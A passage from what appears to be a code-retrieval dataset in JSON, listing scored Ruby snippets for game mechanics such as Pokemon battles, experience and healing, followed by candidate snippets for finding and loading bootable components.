inches)\n else\n return format(text, height)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "77921abfd18b9a6d7f426ffb47afd1c5",
"score": "0.5767598",
"text": "def points_one(outcome)\n if outcome > 0\n 1\n else\n 0\n end\nend",
"title": ""
},
{
"docid": "56aef18f4ad0032c3f4dccf2ea1f16bf",
"score": "0.5759163",
"text": "def get_hit(a_point)\n occupied_points.reject! { |point| point.is_equal(a_point) }\n set_state('damage') \n check_if_is_sink_and_change_state\n end",
"title": ""
},
{
"docid": "45fd2ad3f981636fab46b419e76d7be3",
"score": "0.5747286",
"text": "def damage(amount)\n self.temp_hit_points -= amount\n if self.temp_hit_points < 0\n self.current_hit_points += self.temp_hit_points\n self.temp_hit_points = 0\n end\n end",
"title": ""
},
{
"docid": "9c4adf73b6df487a8c93c2ff13b8dae5",
"score": "0.57470804",
"text": "def xp\n base_xp = case self.level\n when 1 then 100\n when 2 then 125\n when 3 then 150\n when 4 then 175\n when 5 then 200\n when 6 then 250\n when 7 then 300\n when 8 then 350\n when 9 then 400\n when 10 then 500\n when 11 then 600\n when 12 then 700\n when 13 then 800\n when 14 then 1000\n when 15 then 1200\n when 16 then 1400\n when 17 then 1600\n when 18 then 2000\n when 19 then 2400\n when 20 then 2800\n when 21 then 3200\n when 22 then 4150\n when 23 then 5100\n when 24 then 6050\n when 25 then 7000\n when 26 then 9000\n when 27 then 11000\n when 28 then 13000\n when 29 then 15000\n when 30 then 19000\n else return 0\n # When editing, we now display the Monster, but the display will fail if\n # this exception is raised.\n# else raise \"Level #{self.level} is not within a valid range for XP\"\n end\n\n base_xp /= 4.0 if self.role == 'Minion'\n base_xp *=2 if self.subrole == 'Elite'\n base_xp *=5 if self.subrole == 'Solo'\n return base_xp.ceil\n end",
"title": ""
},
{
"docid": "cca7fc5ac0cd50b32fce81862eb9e308",
"score": "0.57456553",
"text": "def leer(attacked_pokemon)\n attacked_pokemon.defense >1 ? attacked_pokemon.defense -=1 : nil\n end",
"title": ""
},
{
"docid": "e3abb561777b8d1d7fe6e1cd6cfe6e58",
"score": "0.57421255",
"text": "def eat\n @energy_level += 10\n end",
"title": ""
},
{
"docid": "0d4290c705b1d67fc09b43beb42e3e88",
"score": "0.5739231",
"text": "def update_actor_exp(actor, index, skip)\n if actor.cant_get_exp? == false and actor.exp < actor.max_exp\n last_level = actor.level\n last_skill = actor.skills.dup\n if actor.exp + actor.plus_exp > actor.max_exp or skip\n actor.exp = actor.max_exp\n else\n actor.exp += actor.plus_exp\n @all_max = false\n end\n if actor.level > last_level\n $game_system.se_play(RPG::AudioFile.new(Level_Up_SE, 80, 100)) if Level_Up_SE != nil\n @level_windows[index].refresh\n actor.plus_exp = [actor.next_exp * Filling_Speed / 250.0, 1].max.to_i\n end\n if actor.skills.size > last_skill.size\n $game_system.se_play(RPG::AudioFile.new( earn_SE, 80, 100)) if Learn_SE != nil\n skills = actor.skills.dup - last_skill\n for id in skills\n @level_windows[index].refresh($data_skills[id])\n end\n end\n @level_windows[index].update\n @result_windows[index].refresh\n end\n end",
"title": ""
},
{
"docid": "c43e97c7858e017205c085cceccc7e6e",
"score": "0.57298774",
"text": "def heal_pp\n self.moves.each { |e| e.heal_pp }\n end",
"title": ""
},
{
"docid": "3e3e7cda4208335a8f3ea5a36d6c97c0",
"score": "0.5728171",
"text": "def update_points(recipe)\n recipe.rewarded_points += 50\n end",
"title": ""
},
{
"docid": "65e2c085c0d0d2b72e39dfd7139b3573",
"score": "0.5726071",
"text": "def give_p2_point\n puts \"Player 2 Wins!!!\"\n @p2_wins += 1\n end",
"title": ""
},
{
"docid": "41c2c59d68d5a2fb8556bd7ecc960406",
"score": "0.57245576",
"text": "def all_exp_over_40(pokemon)\n pokemon.map{|poke_profile|\n if poke_profile[:base_experience] > 40\n poke_profile\n end\n }\nend",
"title": ""
},
{
"docid": "0b6793cb5f3bc695afc506f6dfe5a23d",
"score": "0.57233083",
"text": "def new_pokemon(x, y, pokedex_number)\n @wildpokemons.push(Pokemon.new(x, y, pokedex_number))\n end",
"title": ""
},
{
"docid": "5223d2f449770494bc62f22de4eb014c",
"score": "0.57206446",
"text": "def use_potion\n if self.potions.size > 0\n potion = self.potions.last\n self.update(:health => (self.health + potion.heal_amount))\n self.potions.last.destroy\n \"You used #{potion.name} and healed #{potion.heal_amount} points!\"\n else\n \"No potions left\"\n end\n end",
"title": ""
},
{
"docid": "dfac6a862f40f30594f52b7f1663633f",
"score": "0.57198894",
"text": "def add_point(player_no)\n # get opposition index number\n opp_no = opposition(player_no)\n # if the opposition has the advantage -1 from their score,\n # else add to the player that won the point\n (points[opp_no] == 4) ? points[opp_no] -= 1 : points[player_no] += 1\n end",
"title": ""
},
{
"docid": "5576eb890b9b2eec21995514de31e045",
"score": "0.5718724",
"text": "def attack!(enemy)\n enemy.damage(attack_power)\n #we need someone to put damage on so that's enemy\n \n end",
"title": ""
},
{
"docid": "0a7c164ffb52e20f21791527404f2e04",
"score": "0.5710382",
"text": "def give(p, args)\n\tp2 = findplayer(args[0].to_i)\n\tif !p2\n\t\tp.event(\"Player not recognized\")\n\t\treturn\n\tend\n\tqty = min(max(args[1].to_i, 1), p.money)\n\n p.money -= qty\n p2.money += qty\n\n\tp.event(\"Gave\", p2.nameid, qty, \"money\")\n\tp2.event(p.nameid, \"gave\", qty, \"money\")\nend",
"title": ""
},
{
"docid": "4cec1e954aa2684efc8340d2b0cdc19c",
"score": "0.57074875",
"text": "def heal_party\n @actors.each do |pokemon|\n next unless pokemon\n pokemon.cure\n pokemon.hp = pokemon.max_hp\n pokemon.skills_set.each do |skill|\n skill&.pp = skill.ppmax\n end\n end\n end",
"title": ""
},
{
"docid": "fdaecfe5b8774c7b5fb40f57fb860602",
"score": "0.5706893",
"text": "def use_megazord(person)\n @strength = 5000\n punch(person)\n end",
"title": ""
},
{
"docid": "de6b25f0ebcb3bfb739b3ed9eb713e99",
"score": "0.56990933",
"text": "def add_pokemon(pkmn)\n unless pkmn.egg?\n @pokedex.mark_seen(pkmn.id, pkmn.form, forced: true)\n @pokedex.mark_captured(pkmn.id)\n @pokedex.pokemon_fought_inc(pkmn.id)\n @pokedex.pokemon_captured_inc(pkmn.id)\n end\n\n if full?\n return @storage.current_box if @storage.store(pkmn)\n return false\n else\n @actors << pkmn\n return true\n end\n end",
"title": ""
},
{
"docid": "48c4a1a6106e95e2fc3a7bfbdb518116",
"score": "0.5696548",
"text": "def attack\n y, x = next_move\n\n # TODO: validate\n end",
"title": ""
},
{
"docid": "5af03a1b1a6ce2486e9e88a0035e1c79",
"score": "0.5694656",
"text": "def experience_for(character)\n exp = 5\n self.characters.each do |char|\n unless char == character\n bonus = char.level - character.level + 1\n exp += bonus if bonus > 0\n end\n end\n exp\n end",
"title": ""
},
{
"docid": "677c130c8001b8a1c1b8ef63c14e0500",
"score": "0.569361",
"text": "def increase_points\n @score += 3\n end",
"title": ""
},
{
"docid": "b690a5a7bcbb74829aa4c4fe3f4f8629",
"score": "0.5691101",
"text": "def attack\n @attack + weapon_bonus\n end",
"title": ""
},
{
"docid": "53374bddb26330c78b2e149c1c02d9a0",
"score": "0.5690048",
"text": "def increase_points\n case @main_command.index\n when 0\n if @actor.upgrade_points >= ActorCustomization::Points_needed[0] && @actor.maxhp <= ActorCustomization::Max_hp\n $game_system.se_play($data_system.decision_se)\n @actor.upgrade_points -= ActorCustomization::Points_needed[0]\n @actor.hp += @hp\n @actor.maxhp += @hp\n @hp_spent += 1\n @actor.used_hp_points += 1\n call_refresh(0)\n else\n call_sound\n end\n when 1\n if @actor.upgrade_points >= ActorCustomization::Points_needed[1] && @actor.maxsp <= ActorCustomization::Max_sp\n $game_system.se_play($data_system.decision_se)\n @actor.upgrade_points -= ActorCustomization::Points_needed[1]\n @actor.sp += @sp\n @actor.maxsp += @sp\n @sp_spent += 1\n @actor.used_sp_points += 1\n call_refresh(0)\n else\n call_sound\n end\n when 2\n if @actor.upgrade_points >= ActorCustomization::Points_needed[2] && @actor.str <= ActorCustomization::Max_str\n $game_system.se_play($data_system.decision_se)\n @actor.upgrade_points -= ActorCustomization::Points_needed[2]\n @actor.str += @str\n @actor.hp += (@actor.str * ActorCustomization::Amount_to_raise) if ActorCustomization::Raise_hp_with_strength == true\n @str_spent += 1\n @actor.used_str_points += 1\n call_refresh(0)\n else\n call_sound\n end\n when 3\n if @actor.upgrade_points >= ActorCustomization::Points_needed[3] && @actor.dex <= ActorCustomization::Max_dex\n $game_system.se_play($data_system.decision_se)\n @actor.upgrade_points -= ActorCustomization::Points_needed[3]\n @actor.dex += @dex\n @dex_spent += 1\n @actor.used_dex_points += 1\n call_refresh(0)\n else\n call_sound\n end\n when 4\n if @actor.upgrade_points >= ActorCustomization::Points_needed[4] && @actor.agi <= ActorCustomization::Max_agi\n $game_system.se_play($data_system.decision_se)\n @actor.upgrade_points -= ActorCustomization::Points_needed[4]\n @actor.agi += @agi\n @agi_spent += 1\n @actor.used_agi_points += 1\n call_refresh(0)\n else\n call_sound\n end\n when 5\n if @actor.upgrade_points >= ActorCustomization::Points_needed[5] && @actor.int <= ActorCustomization::Max_int\n $game_system.se_play($data_system.decision_se)\n @actor.upgrade_points -= ActorCustomization::Points_needed[5] \n @actor.int += @int\n @actor.maxsp += (@actor.int * ActorCustomization::Amount_to_raise2) if ActorCustomization::Raise_sp_with_intelligence == true\n @actor.sp += (@actor.int * ActorCustomization::Amount_to_raise2) if ActorCustomization::Raise_sp_with_intelligence == true\n @int_spent += 1\n @actor.used_int_points += 1\n call_refresh(0)\n else\n call_sound\n end\n end\n end",
"title": ""
},
{
"docid": "34b5f5e6c933bd3441e4f58de141e566",
"score": "0.56890446",
"text": "def exp\n return @battler.exp\n end",
"title": ""
},
{
"docid": "34b5f5e6c933bd3441e4f58de141e566",
"score": "0.56890446",
"text": "def exp\n return @battler.exp\n end",
"title": ""
},
{
"docid": "34b5f5e6c933bd3441e4f58de141e566",
"score": "0.56890446",
"text": "def exp\n return @battler.exp\n end",
"title": ""
},
{
"docid": "b09d7aea88b5d7187962894672653b45",
"score": "0.5684726",
"text": "def level_up\n #if @exp meets the *level up* threshold, then increment Level by 1 & restart hero's\n #exp value to 0. If @exp is greater than the threshold, take the difference between\n # current @exp and the threshold and add it to the @exp value after leveling up & restarting\n # the @exp to 0\n pastel = Pastel.new\n limit = (100 * (1.3 ** (self.lvl - 1))).to_i\n rem = self.exp - limit\n if self.exp >= limit\n self.lvl += 1\n message = \"Congratualations! You level up to #{self.lvl}!\"\n self.exp = rem\n inc_power if self.lvl % 2 == 0\n self.save\n puts pastel.decorate(message, :green)\n end\n end",
"title": ""
},
{
"docid": "90f94aeca18643b3411593275989b787",
"score": "0.568433",
"text": "def attacked( point, kind=nil )\n if shield == 0\n case Rule.interact(kind, annex[\"element\"])\n when :generate\n team.healed( point )\n when :overcome\n team.reduced( point * 2 )\n when :cancel\n team.reduced( point.fdiv(2).ceil )\n else\n point_modi = point\n annex.each do |k, v|\n if v.respond_to?(:has_key?) && v.has_key?(kind)\n case v[kind]\n when \"half\"\n point_modi = point.fdiv(2).ceil\n when \"none\"\n point_modi = 0\n end\n end\n end\n team.reduced( point_modi )\n end\n elsif kind == \"physical\"\n deshielded( point * 2 )\n else\n deshielded( point )\n end\n end",
"title": ""
},
{
"docid": "c700c7ad71192837927012f28e520180",
"score": "0.56799126",
"text": "def attack(player, opponent)\n chance_to_hit(player.hit_percent, player, opponent)\nend",
"title": ""
},
{
"docid": "38b6579495c8b1d4104f057fac6bf4a7",
"score": "0.5675422",
"text": "def pokedex\n loading\n puts \"Heres a list of some pokemon\"\n sleep 1\n PokeCLI::Pokemon.all.each.with_index(1) do |poke, index|\n puts \"#{index}. #{poke.name}\"\n sleep 1\n end\n sleep 1\n puts \"To find out more information choose the id number.\"\n sleep 1\n puts \"To exit type exit.\"\n input = gets.strip.downcase\n \n if (\"1\"..\"5\").include?(input) #can change this to include a larger selection if I allowed array to be bigger\n choice = input.to_i\n elsif input == \"exit\"\n quit\n else\n sleep 1 \n to_pokedex\n end\n display_mons(choice)\n end",
"title": ""
},
{
"docid": "e1deb5fdbaaa83e68c1c065a32f32a7f",
"score": "0.5665512",
"text": "def suffer_damage(points)\n if caller_method_name == \"attack\"\n @health = @health - points\n if @health <= 0\n puts \"#{proxy} has died.\"\n @alive = false \n @health = 0\n end\n else\n raise \"Nice cheating attempt!\"\n end\n end",
"title": ""
},
{
"docid": "d37855f3428b9dcc4f35a9881711d646",
"score": "0.5662076",
"text": "def advantage(player)\n points[player] == 4\n end",
"title": ""
},
{
"docid": "a94026ac6847e81887789d70a057c251",
"score": "0.565994",
"text": "def level_up(exp)\n self.experience += exp\n self.experience\n if self.experience >= 10\n self.level += 1\n puts\n puts \"You have reached level #{self.level}.\"\n self.experience = 0 # restore experience to zero on each level up\n end\n end",
"title": ""
},
{
"docid": "abc19c37cb946bf42e59888008db64b6",
"score": "0.5656298",
"text": "def attack\n puts attack_description\n damage = rand(strength * life + weapon_force)\n foe.hit(damage)\n end",
"title": ""
},
{
"docid": "5f47baefce7b835cc59121c718fe426b",
"score": "0.5654562",
"text": "def pbBugContestScore(pokemon)\n levelscore=pokemon.level*4\n ivscore=0\n for i in pokemon.iv; ivscore+=i; end\n ivscore=(ivscore*100/186).floor\n hpscore=(100*pokemon.hp/pokemon.totalhp).floor\n dexdata=pbOpenDexData\n pbDexDataOffset(dexdata,pokemon.fSpecies,16)\n rareness=dexdata.fgetb\n dexdata.close\n rarescore=60\n rarescore+=20 if rareness<=120\n rarescore+=20 if rareness<=60\n score=levelscore+ivscore+hpscore+rarescore\n return score\nend",
"title": ""
},
{
"docid": "c5e1b8952f30dbb16de00b05c32c6ac1",
"score": "0.565137",
"text": "def sin_attack_bonus; 1.0; end",
"title": ""
},
{
"docid": "f7b2bfa82688dd8b39eba927be6656ee",
"score": "0.56506747",
"text": "def store_pokemon(pokedex_entry)\n @pokemon = Pokemon.create(pokedex_id: pokedex_entry['id'],\n name: pokedex_entry['name'],\n sprite: pokedex_entry['sprites']['front_default'])\n end",
"title": ""
},
{
"docid": "699b002b3b05db76c6632727638443d8",
"score": "0.5647987",
"text": "def update_points(var)\n if var == \"won\"\n @points += 1\n end\n end",
"title": ""
},
{
"docid": "568ad4132222bf70e433b834d3daeec3",
"score": "0.564574",
"text": "def pow exposant = 0\n ArelExtensions::Nodes::Power.new [self,exposant]\n end",
"title": ""
},
{
"docid": "4976fdff10fb708bd09166b1ed3b06bf",
"score": "0.56448954",
"text": "def setup_punch\n slot 0 do\n lisp :attack,\n :zero,\n [:get, [:succ, [:succ, [:succ, :zero]]]] # slot to attack\n k!; s!; get; k!; s!; succ; k!; s!; succ\n # [:dbl, [:get, [:succ, [:succ]]]] # 1+9999\n end\nend",
"title": ""
},
{
"docid": "a2890fd09c11c7b35151d497f23a371e",
"score": "0.5642472",
"text": "def select_pokemon(ecart,*rareness)\n return if $game_temp.trainer_battle\n max_rand = 0\n i = nil\n rareness.each_index do |i|\n @select_pokemon_chances[i] ||= 1\n max_rand += rareness[i]*@select_pokemon_chances[i]\n end\n selected=[]\n $game_temp.vs_type.times do |i|\n nb = Random::WildBattle.rand(max_rand.to_i) #rand(max_rand.to_i)\n puts \"Generated number : #{nb} / #{max_rand.to_i}\"\n count=0\n rareness.each_index do |j|\n count+=(rareness[j]*@select_pokemon_chances[j])\n if nb<count\n selected.push(@enemy_party.actors[j].clone)\n break\n end\n end\n selected.push(@enemy_party.actors[rand(@enemy_party.actors.size)].clone) if selected.size <= i\n end\n @enemy_party.actors.clear\n $game_temp.vs_type.times do |i|\n @enemy_party.actors.push(selected[i])\n if MaxEcart.include?($actors[0].ability) and rand(100) < 50\n lvl=selected[i].level-ecart/2+ecart-1\n else\n lvl=selected[i].level-ecart/2+rand(ecart)\n end\n lvl = 1 if lvl < 1\n selected[i].level=lvl\n selected[i].captured_level = lvl\n selected[i].exp=selected[i].exp_list[lvl]\n selected[i].hp=selected[i].max_hp\n end\n end",
"title": ""
},
{
"docid": "0d2e38f5cf5864f4b7e6c98ddec30587",
"score": "0.5641667",
"text": "def level_up(exp)\n self.experience += exp\n self.experience\n if self.experience >= 10\n self.level += 1\n puts \"You have reached level #{self.level}.\"\n self.experience = 0 # restore experience to zero on each level up\n end\n end",
"title": ""
},
{
"docid": "810a1bae0c5b9a7ed596bd36f0d37887",
"score": "0.56266344",
"text": "def hit( damage )\n p_up = rand( charisma )\n if p_up % 9 == 7\n @life += p_up / 4\n puts \"[#{ self.class } magick powers up #{ p_up }!]\"\n end \n @life -= damage\n puts \"[#{ self.class } has died.]\" if @life <= 0\n end",
"title": ""
},
{
"docid": "5e03560201622f4f176c6f3389d5eb08",
"score": "0.56261814",
"text": "def beat_pokemon(pokemon_id)\n @active_quests.each do |quest_id, quest|\n next unless quest[:pokemon_beaten]\n next unless GameData::Quest.id_valid?(quest_id)\n quest_data = GameData::Quest.get(quest_id)\n index = quest_data.beat_pokemon.index(pokemon_id)\n quest[:pokemon_beaten][index] += 1 if index\n check_quest(quest_id)\n end\n end",
"title": ""
},
{
"docid": "e71e387c6034d946d970a76443df9f49",
"score": "0.56258667",
"text": "def fight(enemy)\n if self.pokemon.first.level > enemy.pokemon.first.level\n enemy.pokemon.first.trainer = self\n puts \"So long, smell ya later! lulz\"\n end\n end",
"title": ""
}
] |
9bea8a31186b3059d073d77f85c4ddc3
|
Returns a bootable component if it can be found or loaded, otherwise nil
|
[
{
"docid": "c54712ebe9bf4ef6bbddb3e5b013a6b9",
"score": "0.6813636",
"text": "def find_component(name)\n name = name.to_sym\n\n return components[name] if components.exists?(name)\n\n return if finalized?\n\n require_boot_file(name)\n\n components[name] if components.exists?(name)\n end",
"title": ""
}
] |
[
{
"docid": "35af68126079b32660261bc09ead43b9",
"score": "0.6175526",
"text": "def find_application_component\n self.application_component_lookup_failed = false\n unless self.app_name.blank? || self.component_name.blank?\n my_application_component = ApplicationComponent.by_application_and_component_names(self.app_name, self.component_name).try(:first)\n unless my_application_component.blank?\n self.application_component = my_application_component\n else\n self.application_component_lookup_failed = true\n end\n end\n # be sure the call back returns true or else the call will fail with no error message\n # from the validation loop\n return true\n end",
"title": ""
},
{
"docid": "9562f02c14d8f8ced4057b5bf18a8da9",
"score": "0.6125569",
"text": "def component_defined?\n defined?(component)\n end",
"title": ""
},
{
"docid": "9562f02c14d8f8ced4057b5bf18a8da9",
"score": "0.6125569",
"text": "def component_defined?\n defined?(component)\n end",
"title": ""
},
{
"docid": "dc774021896037bab217ba792af7dd6a",
"score": "0.61105347",
"text": "def loader\n @loader ||= \n begin\n @loader = Cabar::Loader.factory.\n new(:main => self,\n :configuration => configuration)\n\n # Prime the component search path queue.\n @loader.add_component_search_path!(configuration.component_search_path)\n \n @loader\n end\n end",
"title": ""
},
{
"docid": "826464663c3b14d0d435d559516f5ed4",
"score": "0.6028857",
"text": "def framework_component?\n Freezer.components.keys.include?(@component.gsub(\"merb-\", \"\"))\n end",
"title": ""
},
{
"docid": "09bf0480eded5566ab0ce3feb218ceea",
"score": "0.59813875",
"text": "def bootable\n @bootable\n end",
"title": ""
},
{
"docid": "09bf0480eded5566ab0ce3feb218ceea",
"score": "0.59813875",
"text": "def bootable\n @bootable\n end",
"title": ""
},
{
"docid": "09bf0480eded5566ab0ce3feb218ceea",
"score": "0.5981038",
"text": "def bootable\n @bootable\n end",
"title": ""
},
{
"docid": "fc29157610a79fc2f51c279d2c2bea22",
"score": "0.57115924",
"text": "def web_component_instance\n component_instances.detect(&:is_web_framework?)\n end",
"title": ""
},
{
"docid": "b55ad97570c8c8f4f43e232056b20d2e",
"score": "0.56071573",
"text": "def load_component(type, name, *args, ** overrides)\n config_manager = runtime.config_manager\n application = config_manager['run.application']\n mode = config_manager['run.mode']\n require_file, class_name, singleton = Component.get_details(application, mode, type, name, overrides)\n # If the component is marked as a singleton and an instance of it has already been created, we return that\n # instance instead of loading a new one.\n if singleton && runtime.loaded_components.has_key?(class_name)\n return runtime.loaded_components[class_name]\n end\n # If the component is not marked as a singleton or it hasn't been instantiated before, we create an instance.\n runtime.logger.finer(\"Loading '#{class_name}' from '#{require_file}'...\")\n require require_file\n component = constant(class_name).new(*args)\n component = include_extensions(component, type, name)\n component.component_name = name\n # If the singleton flag was true, we also save the instance for later use.\n runtime.loaded_components[class_name] = component if singleton\n # And return it.\n component\n end",
"title": ""
},
{
"docid": "7c9a748bc7686c70ce93cf58b9a0538e",
"score": "0.55935997",
"text": "def components_exist?\n true\n end",
"title": ""
},
{
"docid": "342e57d27be151d005b32ce4bd76c041",
"score": "0.55919206",
"text": "def cabar_component\n @cabar_component ||=\n available_components['cabar'].first || \n (raise Error, \"Cannot find cabar component.\")\n end",
"title": ""
},
{
"docid": "bb67b721781a1e0256a4b124e20dd5c4",
"score": "0.5525965",
"text": "def loader\n @loader ||=\n main.loader\n end",
"title": ""
},
{
"docid": "bd64189e3237f081dc0319b9edd5671d",
"score": "0.5523867",
"text": "def component?\n !!@component\n end",
"title": ""
},
{
"docid": "0cd18ad6fce137f52d22afbb69098aad",
"score": "0.5509473",
"text": "def loaded?\n is?(:loaded)\n end",
"title": ""
},
{
"docid": "affb7e195804e43f653735c2b5c6f542",
"score": "0.5503893",
"text": "def boot(name, **opts, &block)\n if components.key?(name)\n raise DuplicatedComponentKeyError, <<-STR\n Bootable component #{name.inspect} was already registered\n STR\n end\n\n component =\n if opts[:from]\n boot_external(name, **opts, &block)\n else\n boot_local(name, **opts, &block)\n end\n\n booter.register_component component\n\n components[name] = component\n end",
"title": ""
},
{
"docid": "c6ce23f2fbd81c82f6ddb021357f7592",
"score": "0.54544705",
"text": "def component_available?(name)\n available_components.include?(name)\n end",
"title": ""
},
{
"docid": "3a98ea6418bb44038c556437f51f2caf",
"score": "0.54498774",
"text": "def [](name)\n _bootloaders[name]\n end",
"title": ""
},
{
"docid": "4a77ffc85c888836468d4318b8cb2240",
"score": "0.5418015",
"text": "def component_needs_building?\n !@component.exists?\n end",
"title": ""
},
{
"docid": "25121bf013588b6d6d271927b7d8099b",
"score": "0.5408402",
"text": "def loader\n @loader ||= Chef::Knife::Core::ObjectLoader.new(Chef::DataBagItem, ui)\n end",
"title": ""
},
{
"docid": "b5dc1149916873018ef47394e9a2e521",
"score": "0.5397293",
"text": "def loader\r\n return @loader ||= Loader.new\r\n end",
"title": ""
},
{
"docid": "e8834b5d1c570d4530458e69c4d8e822",
"score": "0.5383557",
"text": "def loader\n if @loader.nil?\n raise Twig::LogicException.new('You must set a loader first.')\n end\n @loader\n end",
"title": ""
},
{
"docid": "8d9b71e016e764f940450b4d72f02a51",
"score": "0.5354525",
"text": "def available_components\n @available_components ||=\n begin\n x = loader.available_components\n _logger.info { \"available components: #{x.size}\" }\n x\n end\n end",
"title": ""
},
{
"docid": "4f5fdfcfac877aa25a3eb456e1dd0d1e",
"score": "0.53434575",
"text": "def _require_component opts\n # $stderr.write 'R'; $stderr.flush\n\n r = resolve_component opts, :all\n case r.size\n when 0\n constraint = opts\n _logger.error { \"Cannot find required component #{opts.inspect}\" }\n opts = opts.to_constraint if Cabar::Component === opts\n opts = opts.to_hash unless Hash === opts\n # $stderr.puts \"opts = #{opts.inspect}\"\n opts[:dependent] = constraint.to_s\n unresolved_component! opts\n check_unresolved_components!\n if unresolved_components_ok?\n return nil\n else\n raise Error, \"Cannot find required component #{opts.inspect}\"\n end\n else\n # Allow selection of default component.\n # Overlay component defaults.\n name = Hash === opts ? opts[:name] : opts.name\n comp_config = (x = configuration.config['component']) && x['require_default'] || EMPTY_HASH\n comp_config = comp_config[name] || EMPTY_HASH\n comp_config = { :version => comp_config } unless Hash === comp_config\n\n unless comp_config.empty?\n opts = opts.to_constraint if Cabar::Component === opts\n opts = opts.to_hash unless Hash === opts\n # $stderr.puts \"opts = #{opts.inspect}\"\n opts = opts.cabar_symbolify\n comp_config[:_by] = (opts[:_by].to_s) + \" + component:require_default:\"\n opts.cabar_merge!(comp_config.cabar_symbolify)\n # $stderr.puts \"_require_component default #{opts.inspect} <= #{comp_config}\"\n\n r = resolve_component opts, :all\n end\n \n # Select latest version.\n c = r.first\n end\n\n # Select the component.\n select_component c\n\n # Add component as required.\n add_required_component! c\n\n c\n end",
"title": ""
},
{
"docid": "7e6fb084e901a9d5d3a6f9a2dabc2ca4",
"score": "0.53352505",
"text": "def ensure_loaded\n load unless loaded?\n end",
"title": ""
},
{
"docid": "a8e4a27cb69681d0ecd444ce55d7f900",
"score": "0.5326301",
"text": "def framework\n framework_carts = CartridgeCache.cartridge_names('standalone')\n self.comp_instance_map.each { |cname, cinst|\n cartname = cinst.parent_cart_name\n return cartname if framework_carts.include? cartname\n }\n return nil\n end",
"title": ""
},
{
"docid": "64d5ea5ee3bcdf4e558bae2a7b4865e7",
"score": "0.531565",
"text": "def find_component\n migration = name.to_s.demodulize.to_s.underscore\n slug = migration.gsub(/\\Acreate_/, '').gsub(/_component\\z/, '')\n Biovision::Components::BaseComponent.handler_class(slug)\n end",
"title": ""
},
{
"docid": "cbef76ac5cdfa69d6ef47b13c5c47b64",
"score": "0.5309366",
"text": "def loaded?\n @@driverLoaded.has_key?(driver)\n end",
"title": ""
},
{
"docid": "c874d409b84d56527d93db0a1c289ce6",
"score": "0.52873784",
"text": "def fetch_component_choice(component)\n retrieve_component_config(destination_root('.components'))[component]\n end",
"title": ""
},
{
"docid": "e5ddaea8a04f3db7cd596dfe695d7c93",
"score": "0.52774674",
"text": "def includes_components?\n (bundle? || composite? || package?) && component_entries.live.any?\n end",
"title": ""
},
{
"docid": "02a56041afe70a72fd1fa5321998b547",
"score": "0.5276062",
"text": "def has_custom_loader?(name)\n _custom_loaders.key?(name)\n end",
"title": ""
},
{
"docid": "b5adb7892b95247a09711fa6aa732edc",
"score": "0.5273217",
"text": "def find_component(name)\n component = lookup_const(name)\n return nil if component && component < Hyperloop::Operation\n if component && !component.method_defined?(:render)\n raise \"#{name} does not appear to be a react component.\"\n end\n component\n end",
"title": ""
},
{
"docid": "738fb671da8bb9a53e96f4ccac04d769",
"score": "0.52712035",
"text": "def component?\n @_component ||= tag && !!/[[:upper:]]/.match(tag[0])\n end",
"title": ""
},
{
"docid": "4f8b1fd626424cf22999118a8d01ab88",
"score": "0.52470595",
"text": "def loaded?(constant)\n return loaded.key?(constant)\n end",
"title": ""
},
{
"docid": "320be55ea141337d892f8aa0b8f5ec24",
"score": "0.5230456",
"text": "def require_component! resolver\n end",
"title": ""
},
{
"docid": "e16aa99dd3c12701b7c8710b942bb3c3",
"score": "0.521123",
"text": "def const_loaded?\n @mod.autoload?(@name)\n end",
"title": ""
},
{
"docid": "2fdc5bd43159536646c312c099b3e2c1",
"score": "0.5203394",
"text": "def managed?(component)\n File.directory?(File.join(freezer_dir, component)) || in_submodule?(component)\n end",
"title": ""
},
{
"docid": "a415eb0666ebb057aa98815ea1b89e6c",
"score": "0.519883",
"text": "def load_loader\n @loader if options[:all] || options[:loader]\n end",
"title": ""
},
{
"docid": "aa6f6004d5f921c6d3d74f7dcbbd193e",
"score": "0.5194786",
"text": "def bootstrapped?\n # @bootstrapped ||= !run('if [ -f /var/poolparty/bootstrapped ]; then echo \"YES\"; fi').match(/YES/).nil?\n @bootstrapped ||= !run('if [ -f /var/poolparty/bootstrapped ]; then echo \"YES\"; fi').chomp.empty? || false\n end",
"title": ""
},
{
"docid": "921e890ef9c0a76024d5f74d670225b3",
"score": "0.5193006",
"text": "def load_instance\n nil\n end",
"title": ""
},
{
"docid": "8e71e5af8a4a0daa356a3c1f2a864d5e",
"score": "0.5172343",
"text": "def loaded?; %x{#{ServicesCli.launchctl} list | grep #{label} 2>/dev/null}.chomp =~ /#{label}\\z/ end",
"title": ""
},
{
"docid": "3a67e622881023ccd930917ff952ef9b",
"score": "0.516888",
"text": "def load_current_component_host\n current_component_host\n end",
"title": ""
},
{
"docid": "3a67e622881023ccd930917ff952ef9b",
"score": "0.516888",
"text": "def load_current_component_host\n current_component_host\n end",
"title": ""
},
{
"docid": "3a67e622881023ccd930917ff952ef9b",
"score": "0.516888",
"text": "def load_current_component_host\n current_component_host\n end",
"title": ""
},
{
"docid": "3a67e622881023ccd930917ff952ef9b",
"score": "0.516888",
"text": "def load_current_component_host\n current_component_host\n end",
"title": ""
},
{
"docid": "513bd9369df60883bc86e2cf292b81e1",
"score": "0.5160109",
"text": "def loaded?\n @loaded\n end",
"title": ""
},
{
"docid": "84a2702ab66cac262786d6bec736f208",
"score": "0.5150832",
"text": "def find\n self.class.find_by_id(self.component_key)\n end",
"title": ""
},
{
"docid": "5c4cf975328658e54b8d472f54e4dbf1",
"score": "0.5143657",
"text": "def loaded?\n # TODO: find replacement for deprecated \"list\"\n `#{ServicesCli.launchctl} list | grep '#{label}$' 2>/dev/null`.chomp =~ /#{label}\\z/\n end",
"title": ""
},
{
"docid": "bf48abb348758bee34d74f3043d6d6ea",
"score": "0.51400405",
"text": "def ensure_fully_loaded\n force_load unless @definitely_fully_loaded\n end",
"title": ""
},
{
"docid": "e98af22d8989cb7e777e9800cbcfea1a",
"score": "0.51366603",
"text": "def bootable_volume?\n m = @metadata.detect {|md| md.key == 'com.hp__1__bootable_volume'}\n m.value unless m.nil?\n end",
"title": ""
},
{
"docid": "8c645ca10372d22174e5050d4fa97d21",
"score": "0.5119515",
"text": "def loaded?\n !!@_loaded\n end",
"title": ""
},
{
"docid": "cc20288e11baf5f1c425290067fe9759",
"score": "0.5113411",
"text": "def required_component? c\n @required_components.include? c\n end",
"title": ""
},
{
"docid": "1be5fc70b36879bd90628c66600941ce",
"score": "0.51129985",
"text": "def loading\n has_class(:loading)\n end",
"title": ""
},
{
"docid": "1be5fc70b36879bd90628c66600941ce",
"score": "0.51129985",
